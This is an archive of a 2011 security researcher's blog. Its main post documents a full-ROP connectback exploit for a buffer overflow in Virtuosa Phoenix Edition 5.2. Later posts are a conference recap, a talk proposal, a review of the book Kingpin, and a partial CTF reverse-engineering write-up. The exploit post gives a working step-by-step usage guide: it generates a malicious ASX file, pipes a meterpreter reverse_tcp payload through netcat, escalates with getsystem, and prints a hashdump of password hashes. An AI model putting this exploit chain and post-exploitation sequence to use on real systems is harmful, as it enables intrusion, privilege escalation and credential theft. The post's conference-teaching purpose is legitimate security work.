jeudi 23 juin 2011

[NDH2011] Demo: Virtuosa full ROP connectback stager

Hello everyone!

This post will be about my demo I prepared for my talk at the NDH2011. As you know, it failed! It was due to some metasploit depency problem (I checked and netcat receive the connection from the VM).

Introduction

The following ROP sploit was based on the following exploit: Virtuosa Phoenix Edition 5.2 ASX SEH BOF.
Basically, if we have a href which is too long, we trigger a SEH BOF.
The problem is that it has a character filter, all UPPER are converted to LOWER and all LOWER near a special character such as " -;,\\/" (without the quotes) will get converted to an UPPER character.
Basically, it forbids all existing encoders, even alpha 2!
There are 2 solutions to bypass this restrictive filter: either code an lower encoder or use a ROP payload. I chose the second solution as I haven't seen any public exploit using a full ROP payload.

I won't explain how to exploit a SEH BOF since it has been explained many times, the interesting part here will be about the ROP techniques used. I will explain techniques but I won't go through the code as it is already heavily commented (if you still don't understand it, don't hesitate to ask).

Just so you know, it is not for the faint of heart, it really is not an easy task, it mostly takes a LOT of time.

The filter

The character filter looked a lot like the following C code:
char* filter_badchar (char *str, size_t len) {
    size_t sz;
    char c;

    for (sz = 0; sz < len; sz++) {
        c = str[sz];
        if (c == ' ' || c == ';' || c == '-' || c == '\\' || c == '/' || c == '-') {
            if (str[sz+1] >= 'a' && str[sz+1] <= 'z')
                str[sz+1] = str[sz+1] - 0x20;
        }
        else if (str[sz+1] >= 'A' && str[sz+1] <= 'Z')
            str[sz+1] = str[sz+1] + 0x20;
    }

    return str;
}

You either bypass it using an encoder or a ROP payload.

The payload

I had multiple prerequisites for my payload to satisfy me:
- bypass firewalls
- bypass NAT
- be flexible as to the stuffs I can do
- full ROP
So basically, I was requesting for a connectback stager.

So my payload do the following:
- copy ROP stack to a static zone (so it easier to fix arguments and such)
- allocate RWX memory: HeapCreate() + HeapAlloc()
- initialize socket
- connect back to host (attacker machine)
- receive payload in allocated memory
- execute payload

If the connection fail in some ways, the exploit will fail, there is no backup or infinite loop for trying (even though it could be implemented using ROP tricks). There are multiple problem to be solved before getting to our ROP payload: we need to construct it. Effectively, there is import resolution, string tables fixing, address fixing, arguments fixing. The goal is to get to avoid bad chars as well.

The ROP Stack

What is really important to understand while ropping is that we are constructing, patching/fixing/modifying stack elements in order to have a chain of functions calls using basic operation (that we call gadgets). We could also use it to construct a payload in a newly obtained WX memory or receive "traditionnal" payloads. ROP is thus mainly used as a "stager" in the sense that we first use it to get WX memory and then use a "normal" payload. ROP is turing complete as it is possible to do anything we want with it. We can write, save in memory and we can also have conditions! I suggest you to read the paper on ROP stack generation which also speak about it (LAHF and PUSHF).

Ok now on with the show :).
Since we are triggering a SEH BOF, we will have a ROP stack splitted in 2 parts: before and after the overwritten SEH handler. It is about calculating offsets and bytes used, nothing too heavy in there. What I did is that I mainly constructed my ROP payload and then I splitted it.

In the ROP stack I basically do the following:
- get ESP - set up arguments of LoadLibrary()
- resolve LoadLibrary()
- LoadLibrary("ws2_32.dll");
- resolve GetProcAddress()
- Set all GetProcAddress() function name argument
- end strings correctly (with NULL)
- fix wsastartup to WSAStartup and fix wsacleanup to WSACleanup
- Set hLibModule argument in all corresponding GetProcAddress() to "LoadLibrary("ws2_32.dll")"
- resolve imports
- then we have the part were we set up all the arguments of the payload
- we "execute" the payload
- we get a stager sent by metasploit that will get a payload (such as a DLL injector or something like that) or a payload (launch calc! :))

These things happen so fast that you should not forget to have listeners, handlers ready at the other end of the line ... or Virtuosa will just gracefully crash with you not getting anything ;).

How do you construct a ROP payload without getting lost?

Believe it or not, it's really easy to get lost while developing a ROP payload.
Thing is: we often wants to generate values that have the same properties (=> power of 2? divisible by x? etc). Or we want to be able to allocate multiple buffers?

The "secret ingredient" is the same as in programming: "divide to conquer". Create functions that does a specific thing using gadgets. This way you can re-use it. The problem it poses is about optimisation, but you either get ultra optimised ROP stack or well organized one. Your choice ;). In the future, tools to optimise and maintain ROP sploits will be developed anyway (MONA is the beginning, thanks to c0relanc0d3r and others as well).

How to avoid badchars in a ROP payload?

As you will see in the code, I created multiple function to check that I have addresses with good characters only. I used the principle of pointer encoding, in this case additive encoding (subtractive decoding) was used.

For NULLs, we can use these kind of instructions:
- XOR REG32, REG32
- MOV [REGa32], REGb32
- etc
For other values, you have to generate them. What is good to know is that most of the "flags" values used in function calls are power of 2, it is simply because it is easy to use multiple flags at the same time and extract them with logical/arithmetical operations: AND, XOR, ADD, SUB, etc.

Most of the time, these kind of instructions can be found:
- XCHG EAX, ESI
- XCHG EAX, ECX
- ADD ESI, ESI
- INC EAX
- XOR EAX, EAX
- MOV [ECX], EAX
With those instructions you can generate any values and patch the memory as you see fit.

There are other tricks to know too. You want to substract but you only have access to ADD? ... Think about integer overflow. The goal is not really to substract but to correctly compute a certain value. In the end, ADD and SUB works mostly the same in digital logic.

Others techniques to avoid badchars, instead of constantly fixing all the addresses you have, which use quite a big amount of pointers, I decided to use a retslide to shift to the addresses of interest and thus avoid any bad addresses.

In short:
- pointer encoding
- generating values
- integer overflows
- retslide

Other stuffs to know about ROPping

Most of the strings in Windows functions are NULL terminated (ASCII based) even though it supports UNICODE. You thus have to have correctly ended strings.
For that:
- XOR EAX, EAX
- MOV [ECX], EAX
These can be quite useful to fix the stack up.

While calling a function, the most common technique is to fix the stack up using patching instructions:
- MOV [ECX], EAX
You could also use PUSHAD which is kind of a ugly hack but it can be useful to know.

While calling a function, if it takes a string arguments, be sure that your string table is upper in memory (lower in the stack) as the function could end up crushing over your string table and make the call fail. It is often the case with Win32 API calls since it ends in the kernel and it ends up crushing a lot of stuff upper in the stack (lower in memory).

Moving around in our payload is mostly done with:
- XCHG EAX, ESP
It is quite an interesting instruction as using it cleverly, you could have infinite loops, branching, etc.
So before using that instruction, be sure to get ESP somewhere (using stuff like PUSHAD and POPS or PUSH ESP # POP REG32).

Ok you're lacking registers? Use memory!
Most of the gadgets use EAX, ECX and ESI, if you're stuck with registers, try using RW memory to save your value and recover it later.

How to use the sploit?

This sploit is sure not user friendly.
It is made for hacker alike anyway.
I could have done it without metasploit ... but it has so many convenient payloads ... why reinvent the wheel? ;)

Anyway here is the "manual": - Depending on the type of payload you're selecting (with or without network, without means it's usually a standalone payload that doesn't need a stager such as it is the case with calc) you'll either need 2 or 3 terminals on the host machine.

- First terminal: generating the file
$ ./msfconsole 

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 705 exploits - 358 auxiliary - 56 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops
       =[ svn r13015 updated today (2011.06.23)

msf > use exploit/windows/fileformat/virtuosa 
msf exploit(virtuosa) > show options 

Module options (exploit/windows/fileformat/virtuosa):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.asx          yes       The file name
   LHOST                      yes       The listen address
   LPORT                      yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 English


msf exploit(virtuosa) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(virtuosa) > set LPORT 8080
LPORT => 8080
msf exploit(virtuosa) > exploit 

[*] Before SEH:
[*] String table size     : 100
[*] Pointers used         : 126 (504 bytes)
[*] Junk bytes used       : 288
[*] Padding size          : 96
[*] ROP stack size        : 1029
[*] Bytes before SEH write: -4

[*] Total:
[*] Pointers used         : 486 (1944 bytes)
[*] Junk bytes used       : 416
[*] ROP stack size        : 2597
[*] Creating 'msf.asx' file ...
[*] Generated output file /home/kurapix/.msf3/data/exploits/msf.asx
msf exploit(virtuosa) > 

Here the host and port will point at the machine with the listening netcat

- Second terminal: netcat listener (send payload or stager)
$ ./msfvenom --payload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 --format raw | nc -v -l 8080
En fait je me suis rendu compte que c'est là où ma démo a merdé: j'avais oublié de spécifié le LHOST lors de mon talk.
Sous le coup du stress et de manque de temps, j'ai préféré passer à la suite du talk.
C'était la première fois que je faisais un talk devant autant de monde après tout.

- Third terminal: sending the payload if stager needed
$ ./msfconsole 

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 705 exploits - 358 auxiliary - 56 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops
       =[ svn r13015 updated today (2011.06.23)

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(handler) > exploit 

[*] Started reverse handler on 0.0.0.0:4444 
[*] Starting the payload handler...

- Then you can launch Virtuosa and import the ASX file (and pawn it).
You will then get the following in the second terminal (netcat listener):
Connection from 192.168.56.101 port 8080 [tcp/http-alt] accepted
You will then get the following in the third terminal:
[*] Sending stage (749056 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1091) at Thu Jun 23 20:12:21 +0100 2011

meterpreter > getuid 
Server username: EXPERIEN-FB44F4\Administrator
meterpreter > getsystem 
...got system (via technique 1).
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ASPNET:1003:c0a59a9e0736c578ddde1757bd48098f:0aff8f664031790f6cf554a30d834161:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:611c44014cc419901607081e8472f214:c9c888b7f1894ba4b72503ca73afc10d:::
SUPPORT_388945a0?  :1002:aad3b435b51404eeaad3b435b51404ee:c0c37c4d63b49404638bb9898744285c:::
meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                           Path
 ---   ----              ----  -------  ----                           ----
 0     [System Process]                                                
 4     System            x86   0        NT AUTHORITY\SYSTEM            
 532   smss.exe          x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
 596   csrss.exe         x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
 620   winlogon.exe      x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
 664   services.exe      x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
 676   lsass.exe         x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
 836   VBoxService.exe   x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\VBoxService.exe
 884   svchost.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
 960   svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE   C:\WINDOWS\system32\svchost.exe
 1052  svchost.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITY\NETWORK SERVICE   C:\WINDOWS\system32\svchost.exe
 1200  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\system32\svchost.exe
 1616  spoolsv.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
 1776  explorer.exe      x86   0        EXPERIEN-FB44F4\Administrator  C:\WINDOWS\Explorer.EXE
 1884  VBoxTray.exe      x86   0        EXPERIEN-FB44F4\Administrator  C:\WINDOWS\system32\VBoxTray.exe
 1896  ctfmon.exe        x86   0        EXPERIEN-FB44F4\Administrator  C:\WINDOWS\system32\ctfmon.exe
 2008  svchost.exe       x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\system32\svchost.exe
 1316  alg.exe           x86   0        NT AUTHORITY\LOCAL SERVICE     C:\WINDOWS\System32\alg.exe
 828   wuauclt.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\wuauclt.exe
 1104  Virtuosa.exe      x86   0        EXPERIEN-FB44F4\Administrator  C:\Program Files\Virtuosa\Virtuosa.exe

meterpreter > 


If you want to use those kind of payloads: shell_reverse_tcp, meterpreter, etc. metasploit first send a stager then the corresponding payload. The thing is ... exploits/multi/handler only sends the payload and not the stager so you basically get a crash (ever tried to directly execute a DLL from its first byte? => crash, need a DLL injector or something like that). That is why we need the netcat listener which send the stager for those payloads.

For payloads such as calc, regedit, messagebox, etc, no stager needed, we directly get the payload from msfvenom.
For example for messagebox, you generate the file and then have that in the netcat listener terminal:
$ ./msfvenom --payload windows/messagebox ICON=WARNING TEXT="Hacked by m_101 :)" --format raw | nc -v -l 8080
Connection from 192.168.56.101 port 8080 [tcp/http-alt] accepted

You basically end up having a nice messagebox like this:


The sploit

Just so you know, for struct sockaddr_in, I used ugly hacks (since I couldn't find htons, ntohs, etc equivalent) so it should only work on x86 or x86_64 (due to endianness).

Link to the sploit: Virtuosa Phoenix Edition 5.2 Full ROP Connectback Stager .

Conclusion

By now, you should be quite convinced that we really do not need any code in our crafted file in order to do things. The question is more about the space we have at disposal that the possibilities ;).

For a first talk in front of so many people it did not go that bad.
Ok the demo failed and I panicked a bit about it I must admit haha.
Next time I'll prepare myself even more!
Video is the key ;).

We have seen many techniques concerning ROPping, hope it helps to get you along on this boat. It is not easy, it is not for everyone but it is without a doubt an essential technique to have in our arsenal of tools. I wonder what it is like to have ASLR+DEP bypass though and working only with offsets .... infoleaks? ... well ... not today.

Cheers,

m_101

lundi 20 juin 2011

[EN] NDH2011: Bilan

Hi folks!



NDH2011 is over!
It was awesome, there were more girls, more people, more talks, new sex toys (have you seen the crazy CTF machines? :)), etc.


The talks

There weren't that many technical conferences this year, some were refreshing, others almost killed me (especially the one on "Social security").

I've seen the following conferences:
- Hacking android for fun and profit - Damien Cauquil: Too bad they changed the planning and didn't update the website. I've seen only a part of it but it was really good, it went about Android security functionalities, etc, and a demo on a homemade tracking spyware.

- Reinventing Old School Security - Bruno Kerouanto: Wow! Refreshing! Awesome history of hacking stuffs :). Bluebox, démos, Apple II, etc. It would be awesome to have that kind of old school devices at NDH.

- Recherche de vulnérabilités en kernel Windows - Stéfan Le Berr: This one was pretty good actually. Stéfan talked about finding Windows kernel vulnerabilities using a fuzzing tool he created. His tool, "Zero Fuzz" was able to hook syscalls in order to fuzz them in parallel. Anyway, not a bad name for that kind of tools: ring 0 afterall.

I missed most of the "Hacking girls" talk :(. Hope there will be some videos posted somewhere.

This year I gave 2 conferences. One about an ISP and another about exploitation. It was quite an interesting experience.
I was quite stressed at the beginning of the first talk then afterward you get to like being on stage.
Being a speaker is about preparation after all, talking to a public, nothing more nothing less.
In the end, talking to 50 or 1000 people is mostly the same.
Just so you know if you want to do a talk: prepare a backup like a video! Yeah my demo failed :p. I checked and it was metasploit having some kind of dependency problem (netcat did receive my connection afterall ;)). If you are looking for my slides, here they are: Exploitation in a hostile world .
I just hope not being busted for the ISP conference, we do not and did not intend to do any harm. Our goal was to get it fix and nothing less, nothing more.

The CTF

After the conference we were greeted by some lateness for the CTF. We waited over 6 hours just to know that the last 2 teams last in rank in the prequals were disqualified due to technical problems.
Around midnight we were starting to get prepared to start the CTF ... which was cancelled. There were some teams (as ours) who did not get any DHCP or any connection at all.
In the end, it even demotivated us to play the public CTF (we did not even have to inject anything in the public WiFi since someone was pawning it ...). I've just looked a bit into the Crackme, it was about unpacking it using OEP (which was around PUSH OEP | RET) and then reversing the obfuscating function (XOR) to bruteforce the key to find what was the PNG image about. I didn't do the bruteforce part.

Too bad for the CTF, but well ... it happens. Computers are either working or not, we all know that. Best luck next year I hope :).

The rest

There were a lot of interesting workshops.
There was lockpicking, console hacking, msf, etc.

For those who could not get one, there were around 120 electronic badges such as those (the black one with the LEDs):

The goal is to decode the messages sent by the LEDs and it can be reprogrammed at will.
It is using an Atmel ATtiny2313V-10SU which is a nice little micro-controller with 2KB of memory and running at 10MHz.
There is 7 red LEDs (why not 8? It would have been 1 byte), a small battery and a 6 PINs connector to reprogram it.
I'm waiting to get my ATTiny programmer before playing with it :).

Conclusion

Well, I really enjoyed it, really awesome that it was at one of Disney convention center!
We had more room, more talks, more people, and most of all it was fun.

Thanks folks for feedback (and help, Latzaf, etc) on my exploitation conference,

Thanks to my team mates for the ISP conference :).

Thanks to the organisators (Heurs, Virtualabs, Trance, CrashFr, Olive, and all Sysdream/HZV people :)),

If you are looking for photos, I took some: Night Da Hack 2011 Photos .

See you next year,

m_101

dimanche 12 juin 2011

[NDH] Are you ready?

Hello everyone :)!


This will be my first conference as a talker so be tolerant ;).

I will be giving a conference on modern exploitation at NDH 2001 (Night Da Hack 2011) on the 18th of June.
The conference will be in French with English slides. I expect to see more French people than English speaking people like any other NDH I have been to. Moreover, I am more comfortable with French even thought my English is not that bad.

Here is forth my proposal:

Proposal

Software hacking and counter measures have gone a long way since the dis-
covery of hacking techniques. Techniques have improved over time and made
exploitation harder and harder, most traditional exploits do not work any-
more nowadays.

Since we are speaking about software hacking, a short review of exploita-
tion techniques will be done. It will include format strings and buffer based
overflows.

Software hacking techniques are now well known for most of them, more
might be discovered. The need of mitigation arose quickly with highly net-
worked environments. One of the first mitigation to be implemented were
security cookies, followed by NX and then ASLR for the major ones. Other
protections such as FORTIFY SOURCE have also been implemented. A
brief look into these protections will be given.

The use of new and advanced techniques have emerged and are developed
either by attackers or academics in order to bypass these new mitigation
schemes against software exploitation. Such techniques includes code re-use
techniques such as Return Oriented Programming, information leaks, heap
spray or SEH (stack cookies).

A thought about the future of software hacking and counter measures will
also be given.

So what is it about?

It is mostly about the requirement needed for an exploit developer to succeed in its task of writing reliable exploit working on the latest Operating Systems and compilers. This is effectively needed as pentests could be carried out more efficiently.

The presented protections:
- DEP/NX: Non executable pages
- ASLR: Address Space Layout Randomization, randomization of pages
- SafeSEH: "Basic" SEH protection ("replaced by" or "upgraded to" SEHOP in Vista SP1)
- Stack Cookies (GS mostly, StackGuard does not work exactly the same): Protection of return address (SEIP) against buffer overflows attacks

All of their bypass will be explained.

A demo on bypassing DEP/NX will be done, it includes a full ROP multistage exploit I developed especially for the occasion.

And finally some thoughts will be given on the future of exploitation and mitigations. It is based on current research, projects and papers so it might not be that far from reality but anyone who try to predict the future will somehow fail in some way. So it is more there to give ideas on what might be good fields in exploitation research.

Conclusion

Waiting to get your hands dirty and having practical knowledge on software exploitation?
It might be a good subject to speak about, but 30 minutes to speak about it is just not enough at all! So don't expect too much technicality even though I will try to.
A lot of stuff had to be taken out in order to make the talk fit the time given, it does not really matter as the most important protection are presented and explained. For those who do not know anything about exploitation, it might be a good (hard) introduction to the field.

Do not hesitate to ask questions ;) (the talk = 30 minutes of talk and 10-15 minutes of questions approximately ;)).

And even more! Do not hesitate with the beers, fun and hacks!
What's a conference if we do not enjoy it? ... work ... ;)

Hope to see you there,

Cheers,

m_101

mercredi 27 avril 2011

[Book] Kingpin: How One Hacker Took Over The Billion-Dollar CyberCrime Underground

Hello,

For once in a while, why not write in English?
Afterall, you are around 20-30% of English speaking people reading up my blog, it would not be fair not to speak about this great book and not share it more.

Small book presentation

This book is written by Kevin Poulsen a former hacker and now senior editor in Wired. He is the creator and maintainer of the "Threat Level" section in Wired. He is mostly known for his various hacks such as the 911 red Ferrari hack. Now, he is one of the most recognized cyber crime journalists out there.

That is the story of a once recognized computer security specialist who turned into a super villain. "One day a hacker, always a hacker" could not describe better this story. This is a great journey in the underworld while staying safely at our place.

Summary

Max Butler, grew up in Meridian, Idaho with his parents until they got divorced in his fourteenth year. It devastated him, he wound up living in Meridian with his mother and his younger sister Lisa. His passion of  computers started out when he was young, his father who ran a computer store influenced him, it led him to write BASIC programs at the age of 8.

In his high school years, he began dating a girl named "Amy", they got pretty serious with high school ending. He was devoted to her and chose to go to the Boise university, the same as hers. From there, their adventure in the online world got more mixed up as TinyMUDs was becoming addictive. Jealousy led him to make threats to her and wound him up in prison for "deadly weapons": his hands ...

5 years later, he were to be welcomed by his old friends (Tim Spencer and the others from his highschool days) in the "The Hungry Programmers" house. From this day onward he were to get jobs from his buddies and recreationnal hacker otherwise. His hacking led him to get a lawsuit by "Software Publishers Association" and be featured in Wired, this whole affair introduced Max to the FBI. New assignments and a new life yet to begin.

Thus began "the white hat years", but still a recreationnal hacker, A new home, a new job, the only thing missing was someone to share it with, he met his wife Kimi Winters at a rave party. A home, a devoted wife, beloved friends and a good career perspective. He would waste it in some weeks.
In 1999, a BIND buffer overflow vulnerability was uncovered.
bcopy(fname, anbuf, alen = (char *)*cpp - fname);
It was something huge, it could have been devastating. He was decided to fix it, he wrote a worm which would propagate itself through vulnerable systems to patch them and backdoor them. All the machines were now fixed and insecure to only one hacker: "Max Vision". He got tolerated by his FBI colleagues under the condition he would collaborate with the FBI once again, he failed to do so, busted was it.
His acquired reputation in the white hat world through www.whitehats.com and arachNIDS would have ensured him a a brilliant career and life. He was to forget that he had a pending judgement, it got him 18 months in prison and unemployability, another injustice for him did he think. Nobody wanted to hire him anymore ... A slow descent to the underground was to begin.

In the joint, he met with Jeff Norminton who would later introduce him to Chris Aragon, his partner in crime. From there, it was just a matter of time for escalation. From ShadowCrew to CarderPlanet, he was hacking fraudsters from all over the world. Counterfeiting credit cards was their business, it was juicy, but not enough.

The law enforcement services, had their tentacles in the underground forums, ShadowCrew and CarderPlanet for some time. On July 28, 2004, King Arthur decided it was time to close CarderPlanet. ShadowCrew were to follow, 26 October 2004, the USS, FBI, took it down with its administrators and others as well. The underground was crushed, paranoid and homeless, nobody would think of a board for a long time ... or so they thought.

Max and his partner, Chris Aragon, were suspicious, not trusting any existing smaller criminal forums. Max decided, the best would be a site were he could do business safely without it being corrupted or full of feds. Max as IceMan, launched CardersMarket in late 2005, a new home for IceMan criminal activity was born.

After some months of activity, his forum was up and running, it was not enough. The carding community needed to be reunited in the post-ShadowCrew carding scene. He would provide that by taking over DarkMarket, ScandinavianCarding, the Vouched, CardingWorld and TalkCash. Only DarkMarket survived assimilitation thanks to its backup and the Russian one due to language barriers.

One Hacker to rule them all, One Hacker to find them,
One Hacker to bring them all and in the darkness bind them

During that time, Master Splyntr, a FBI UnderCover, would take over DarkMarket. He managed to uncover carders identities, arrest them and prevent fraud through the insider information he had now access to.

From this point onward, it was only a matter of time for important ring leaders to fall one after another. On September 5, 2007, Max got busted at his appartment during a nap he'd taken. He did not managed to shut down his computer, two weeks later the CERT team decrypted his encrypted data (with DriveCrypt), 1.8 millions credit cards dumps were found. At the same period, some Albert Gonzalez, an ancient ShadowCrew informant for the FBI, was busted for TJ MAX and others for 45.6 millions dumps.

One hacker owning thousands and thousands of people in the USA. Think about it, we only see super heroes and super villains in comics ... what if they really existed?

What's next?

This book was mostly an eye opener on what existed and what methods cyber crooks and cyber criminals use to illegally make money. It is scary, it is real and it still have many more years to exist. Seems like security specialist is a future proof job, thanks or due to bank carelessness? Who would still be damn stupid to still use magnetic stripe only cards but banks? No really, it's expensive to change equipment .... but maybe not as much as cyber criminality.

We only scratched the surface of the iceberg, and yet it is profoundly interesting as a subject to study. Cyber-warfare? It has existed for years, but now it is taking bigger and bigger proportions. Would we see another BIND worm attack? We'll see, only time will tell. This is only the beginning, phear. Until then, hack and protect yourself and others.

This book really was enjoyable to read, this is a pure travel in the heart of the 21st century criminality and a sneak peek into cyber crooks mindset. A glimpse at a scary-true underground on the dark and white side of the force. Read it with envy, assimilate it with interest, paranoid they become and shadowy their world is. Enter the underground.

Phrack it, Read it, Enjoy it,

Cheers,

m_101

BIND vulnerability
One Hacker's Audacious Plan to Rule the Black Market in Stolen Credit Cards

lundi 25 avril 2011

Plaid Parliament of Pawning CTF: CPP1 in pwnables

Bonjour,

Ce week-end s'est déroulé le PPP CTF, je n'ai hélas pas pu y consacrer énormément de temps :(.

J'ai quand même pu toucher à quelques épreuves sympas dont un overflow sur un programme écrit en C++.

Nous avions affaire à un programme vulnérable à un overflow dû à l'usage de sprintf() et nous devions crafter une vtable afin de rediriger le flux d'exécution comme il fallait.

Tout d'abord on va reverser le programme.

Reversing for the better good?

La première routine dans main() est le check du nombre d'arguments.
.text:080487C9 ; =============== S U B R O U T I N E =======================================
.text:080487C9
.text:080487C9 ; Attributes: noreturn
.text:080487C9
.text:080487C9 main            proc near               ; DATA XREF: start+17 o
.text:080487C9
.text:080487C9 nptr            = dword ptr -30h
.text:080487C9 value           = dword ptr -2Ch
.text:080487C9 str             = dword ptr -28h
.text:080487C9 arg_0           = byte ptr  4
.text:080487C9
.text:080487C9                 lea     ecx, [esp+arg_0]
.text:080487CD                 and     esp, 0FFFFFFF0h
.text:080487D0                 push    dword ptr [ecx-4]
.text:080487D3                 push    ebp
.text:080487D4                 mov     ebp, esp
.text:080487D6                 push    ecx
.text:080487D7                 sub     esp, 24h
.text:080487DA                 mov     [ebp-18h], ecx
.text:080487DD                 mov     eax, [ebp-18h]
.text:080487E0                 cmp     dword ptr [eax], 2
.text:080487E3                 jg      short loc_80487F5
.text:080487E5                 mov     edx, [ebp-18h]
.text:080487E8                 mov     eax, [edx+4]
.text:080487EB                 mov     eax, [eax]
.text:080487ED                 mov     [esp+30h+nptr], eax
.text:080487F0                 call    usage

Nous avons ensuite un appel vers une fonction qui prend le pointeur this en paramètre.
.text:080487F5 ; ---------------------------------------------------------------------------
.text:080487F5
.text:080487F5 loc_80487F5:                            ; CODE XREF: main+1A j
.text:080487F5                 lea     eax, [ebp-0Ch]
.text:080487F8                 mov     [esp+30h+nptr], eax
.text:080487FB                 call    set_string_wrapper

Cette fonction va initialiser un pointeur de méthode dans l'objet en utilisant le pointeur this passé en paramètre.
.text:08048846 ; =============== S U B R O U T I N E =======================================
.text:08048846
.text:08048846 ; Attributes: bp-based frame
.text:08048846
.text:08048846 set_string_wrapper proc near            ; CODE XREF: main+32 p
.text:08048846
.text:08048846 arg_0           = dword ptr  8
.text:08048846
.text:08048846                 push    ebp
.text:08048847                 mov     ebp, esp
.text:08048849                 mov     eax, [ebp+arg_0]
.text:0804884C                 mov     dword ptr [eax], offset offset_show_string
.text:08048852                 pop     ebp
.text:08048853                 retn
.text:08048853 set_string_wrapper endp

Cette pointeur pointe vers l'addresse 0x08048B20 où se trouve l'addresse d'une fonction d'affichage.
.rodata:08048B20 offset_show_string dd offset show_string ; DATA XREF: set_string_wrapper+6

La fonction d'affichage est un simple wrapper pour printf() et prend une chaîne de caractère en paramètre (aucun intérêt à mon goût).
.text:08048854 ; =============== S U B R O U T I N E =======================================
.text:08048854
.text:08048854 ; Attributes: bp-based frame
.text:08048854
.text:08048854 show_string     proc near               ; DATA XREF: .rodata:offset_show_string o
.text:08048854
.text:08048854 str             = dword ptr  0Ch
.text:08048854
.text:08048854                 push    ebp
.text:08048855                 mov     ebp, esp
.text:08048857                 sub     esp, 8
.text:0804885A                 mov     eax, [ebp+str]
.text:0804885D                 mov     [esp+4], eax
.text:08048861                 mov     dword ptr [esp], offset aS ; "%s"
.text:08048868                 call    _printf
.text:0804886D                 leave
.text:0804886E                 retn
.text:0804886E show_string     endp

Au final, set_string_wrapper() va faire la chose suivante:
this->ptr = 0x08048B20
*0x08048B20 = show_string
ce qui donne donc this->ptr->show_string().

Maintenant revenons à la suite de notre fonction main(). Celle-ci va ensuite faire un
appel à atoi() pour convertir le argv[2] en entier pour ensuite appeler vuln() en passant
argv[2] et argv[1].
.text:08048800                 mov     edx, [ebp-18h]
.text:08048803                 mov     eax, [edx+4]
.text:08048806                 add     eax, 8
.text:08048809                 mov     eax, [eax]
.text:0804880B                 mov     [esp+30h+nptr], eax ; nptr
.text:0804880E                 call    _atoi
.text:08048813                 mov     [ebp-8], eax
.text:08048816                 mov     edx, [ebp-18h]
.text:08048819                 mov     eax, [edx+4]
.text:0804881C                 add     eax, 4
.text:0804881F                 mov     eax, [eax]
.text:08048821                 mov     [esp+30h+str], eax
.text:08048825                 mov     eax, [ebp-8]
.text:08048828                 mov     [esp+30h+value], eax
.text:0804882C                 lea     eax, [ebp-0Ch]
.text:0804882F                 mov     [esp+30h+nptr], eax
.text:08048832                 call    vuln
.text:08048832 main            endp
.text:08048832
.text:08048837 ; ---------------------------------------------------------------------------
.text:08048837                 mov     eax, 0
.text:0804883C                 add     esp, 24h
.text:0804883F                 pop     ecx
.text:08048840                 pop     ebp
.text:08048841                 lea     esp, [ecx-4]
.text:08048844                 retn

Ca nous donne donc:
vuln(this, atoi(argv[2]), argv[1]);

Regardons ce qui se passe dans vuln(). On repère 2 fonction intéressantes: sprintf() et memcpy() qui peuvent être susceptible à des overflows si des arguments sont controlés.
.text:0804896C ; =============== S U B R O U T I N E =======================================
.text:0804896C
.text:0804896C ; Attributes: noreturn bp-based frame
.text:0804896C
.text:0804896C vuln            proc near               ; CODE XREF: main+69 p
.text:0804896C
.text:0804896C buf             = byte ptr -32h
.text:0804896C this            = dword ptr  8
.text:0804896C value           = dword ptr  0Ch
.text:0804896C str             = dword ptr  10h
.text:0804896C
.text:0804896C                 push    ebp
